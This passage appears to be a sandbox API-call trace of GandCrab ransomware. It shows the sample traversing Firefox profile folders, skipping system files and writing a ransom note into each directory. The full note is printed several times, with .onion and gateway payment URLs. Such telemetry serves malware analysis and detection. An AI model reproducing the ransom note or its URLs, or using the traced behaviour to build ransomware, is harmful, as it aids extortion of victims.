(lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.sqlite") returned 147 [0057.848] lstrcmpW (lpString1=".sqlite", lpString2=".sql") returned 1 [0057.848] FindNextFileW (in: hFindFile=0x5dddc8, lpFindFileData=0x285dbf0 | out: lpFindFileData=0x285dbf0) returned 0 [0057.848] FindClose (in: hFindFile=0x5dddc8 | out: hFindFile=0x5dddc8) returned 1 [0057.849] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.849] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\\\GDCB-DECRYPT.txt") returned 139 [0057.849] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0057.851] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.851] WriteFile (in: hFile=0x510, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285de44, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285de44*=0xad6, lpOverlapped=0x0) returned 1 [0057.851] CloseHandle (hObject=0x510) returned 1 [0057.851] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\") returned 122 [0057.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*" [0057.852] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\*", lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 0x5ddbc8 [0057.852] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.852] FindNextFileW (in: hFindFile=0x5ddbc8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.852] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.852] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.852] FindNextFileW (in: hFindFile=0x5ddbc8, lpFindFileData=0x285de60 | out: lpFindFileData=0x285de60) returned 1 [0057.852] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2=".") returned 1 [0057.852] lstrcmpW (lpString1="818200132aebmoouht.files", lpString2="..") returned 1 [0057.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht.files" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files" [0057.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\" [0057.852] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.852] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.852] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.852] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\") returned 147 [0057.852] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*" [0057.852] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0x5ddd08 [0057.854] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.854] FindNextFileW (in: hFindFile=0x5ddd08, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0057.854] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.854] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.854] FindNextFileW (in: hFindFile=0x5ddd08, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0057.854] lstrcmpW (lpString1="1", lpString2=".") returned 1 [0057.854] lstrcmpW (lpString1="1", lpString2="..") returned 1 [0057.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1" [0057.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148 [0057.854] lstrcmpW (lpString1=".files\\1", lpString2=".sql") returned -1 [0057.854] FindNextFileW (in: hFindFile=0x5ddd08, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 1 [0057.854] lstrcmpW (lpString1="journals", lpString2=".") returned 1 [0057.854] lstrcmpW (lpString1="journals", lpString2="..") returned 1 [0057.854] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="journals" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals" [0057.854] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals") returned 155 [0057.854] lstrcmpW (lpString1=".files\\journals", lpString2=".sql") returned -1 [0057.854] FindNextFileW (in: hFindFile=0x5ddd08, lpFindFileData=0x285d968 | out: lpFindFileData=0x285d968) returned 0 [0057.854] FindClose (in: hFindFile=0x5ddd08 | out: hFindFile=0x5ddd08) returned 1 [0057.854] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.854] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\\\GDCB-DECRYPT.txt") returned 164 [0057.854] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0057.860] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.860] WriteFile (in: hFile=0x514, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285dbbc, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285dbbc*=0xad6, lpOverlapped=0x0) returned 1 [0057.860] CloseHandle (hObject=0x514) returned 1 [0057.861] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\") returned 147 [0057.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*" [0057.861] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\*", lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 0x5ddf48 [0057.861] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.861] FindNextFileW (in: hFindFile=0x5ddf48, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.861] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.861] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.861] FindNextFileW (in: hFindFile=0x5ddf48, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.861] lstrcmpW (lpString1="1", lpString2=".") returned 1 [0057.861] lstrcmpW (lpString1="1", lpString2="..") returned 1 [0057.861] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="1" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1" [0057.861] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.861] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148 [0057.861] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\1") returned 148 [0057.861] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.862] FindNextFileW (in: hFindFile=0x5ddf48, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.862] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0057.862] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0057.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt" [0057.862] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.862] wsprintfW (in: param_1=0x2730000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt") returned 163 [0057.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt") returned 163 [0057.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt") returned 163 [0057.862] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\GDCB-DECRYPT.txt") returned 163 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0057.862] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0057.862] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.862] FindNextFileW (in: hFindFile=0x5ddf48, lpFindFileData=0x285dbd8 | out: lpFindFileData=0x285dbd8) returned 1 [0057.862] lstrcmpW (lpString1="journals", lpString2=".") returned 1 [0057.862] lstrcmpW (lpString1="journals", lpString2="..") returned 1 [0057.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\", lpString2="journals" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals" [0057.862] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\" [0057.862] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0057.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0057.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0057.862] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x2730000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0057.862] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.863] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\") returned 156 [0057.863] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*" [0057.863] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*", lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0x5dda48 [0057.864] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0057.864] FindNextFileW (in: hFindFile=0x5dda48, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 1 [0057.865] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0057.865] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0057.865] FindNextFileW (in: hFindFile=0x5dda48, lpFindFileData=0x285d6e0 | out: lpFindFileData=0x285d6e0) returned 0 [0057.865] FindClose (in: hFindFile=0x5dda48 | out: hFindFile=0x5dda48) returned 1 [0057.865] VirtualAlloc (lpAddress=0x0, dwSize=0x402, flAllocationType=0x3000, flProtect=0x40) returned 0x2730000 [0057.865] wsprintfW (in: param_1=0x2730000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\\\GDCB-DECRYPT.txt") returned 173 [0057.865] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\\\GDCB-DECRYPT.txt" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\roaming\\mozilla\\firefox\\profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x518 [0057.870] lstrlenW (lpString="---= GANDCRAB =---\r\n\r\nAttention!\r\nAll your files documents, photos, databases and other important files are encrypted and have the extension: .GDCB \r\nThe only method of recovering files is to purchase a private key. It is on our server and only we can recover your files.\r\nThe server with your key is in a closed network TOR. You can get there by the following ways:\r\n1. Download Tor browser - https://www.torproject.org/\r\n2. Install Tor browser\r\n3. Open Tor Browser\r\n4. Open link in tor browser: http://gdcbghvjyqy7jclk.onion/dce1bb8bd2ca4def \r\n5. Follow the instructions on this page\r\n\r\n\r\nIf Tor/Tor browser is locked in your country or you can not install it, open one of the following links in your regular browser:\r\n1. http://gdcbghvjyqy7jclk.onion.top/dce1bb8bd2ca4def \r\n2. http://gdcbghvjyqy7jclk.onion.casa/dce1bb8bd2ca4def \r\n3. http://gdcbghvjyqy7jclk.onion.guide/dce1bb8bd2ca4def \r\n4. http://gdcbghvjyqy7jclk.onion.rip/dce1bb8bd2ca4def \r\n5. http://gdcbghvjyqy7jclk.onion.plus/dce1bb8bd2ca4def \r\n\r\nOn our page you will see instructions on payment and get the opportunity to decrypt 1 file for free.\r\n\r\nDANGEROUS!\r\nDo not try to modify files or use your own private key - this will result in the loss of your data forever!\r\n") returned 1387 [0057.870] WriteFile (in: hFile=0x518, lpBuffer=0x412010*, nNumberOfBytesToWrite=0xad6, lpNumberOfBytesWritten=0x285d934, lpOverlapped=0x0 | out: lpBuffer=0x412010*, lpNumberOfBytesWritten=0x285d934*=0xad6, lpOverlapped=0x0) returned 1 [0057.870] CloseHandle (hObject=0x518) returned 1 [0057.871] VirtualFree (lpAddress=0x2730000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0057.871] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\") returned 156 [0057.871] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\", lpString2="*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*" [0057.871] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\8i341t8m.default\\storage\\permanent\\moz-safe-about+home\\idb\\818200132aebmoouht.files\\journals\\*", lpFindFileData=0x285d950 | out: lpFindFileData=0x285d950) returned 0x5dddc8 [0057.871] 